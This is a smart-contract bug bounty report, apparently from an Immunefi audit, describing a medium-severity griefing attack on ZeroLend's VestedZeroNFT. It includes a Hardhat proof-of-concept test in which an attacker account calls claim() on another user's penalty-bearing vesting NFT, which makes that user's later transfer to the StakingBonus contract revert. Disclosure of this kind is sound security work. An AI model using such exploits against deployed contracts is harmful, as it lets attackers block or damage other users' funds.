29123 - [SC - Medium] Griefing attack for VestedZeroNFT
Previous29122 - [SC - High] All reward tokens can be stolen by an attacker ...Next29130 - [SC - Medium] Unlimited Minting of VestedZeroNFT
Last updated
Was this helpful?
Was this helpful?
WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Gauge.poc.ts --config hardhat.config.ts --network hardhatimport { expect } from "chai";
import { deployGovernance } from "./fixtures/governance";
import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import {
LockerToken,
OmnichainStaking,
StakingBonus,
VestedZeroNFT,
ZeroLend,
} from "../typechain-types";
import { e18 } from "./fixtures/utils";
describe("Immunefi Boost", () => {
let ant: SignerWithAddress;
let whale: SignerWithAddress;
let vest: VestedZeroNFT;
let now: number;
let stakingBonus: StakingBonus;
let zero: ZeroLend;
let locker: LockerToken;
let omniStaking: OmnichainStaking;
beforeEach(async () => {
const deployment = await loadFixture(deployGovernance);
ant = deployment.ant;
zero = deployment.zero;
vest = deployment.vestedZeroNFT;
stakingBonus = deployment.stakingBonus;
locker = deployment.lockerToken;
omniStaking = deployment.omnichainStaking;
now = Math.floor(Date.now() / 1000);
whale = deployment.whale;
});
// Run as: WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Griefing.poc.ts --config hardhat.config.ts --network hardhat
describe("Griefing", () => {
it("Ant attacks Whale", async () => {
expect(await vest.lastTokenId()).to.equal(0);
// deployer should be able to mint a nft for Whale
// with penalty = True
await vest.mint(
whale.address,
e18 * 20n, // 20 ZERO linear vesting
0, // 0 ZERO upfront
1000, // linear duration - 1000 seconds
0, // cliff duration - 0 seconds
now + 1000, // unlock date
true, // penalty!!
0
);
expect(await vest.lastTokenId()).to.equal(1);
// Ant calls claim() for minted Nft with penalty
// Nft is minted for Whale
await vest.connect(ant).claim(1);
// Whale transfers Nft to StakingBonus contract
// But it reverts
await expect(
vest
.connect(whale)
["safeTransferFrom(address,address,uint256)"](
whale.address,
stakingBonus.target,
1
)
).to.be.reverted;
});
});
});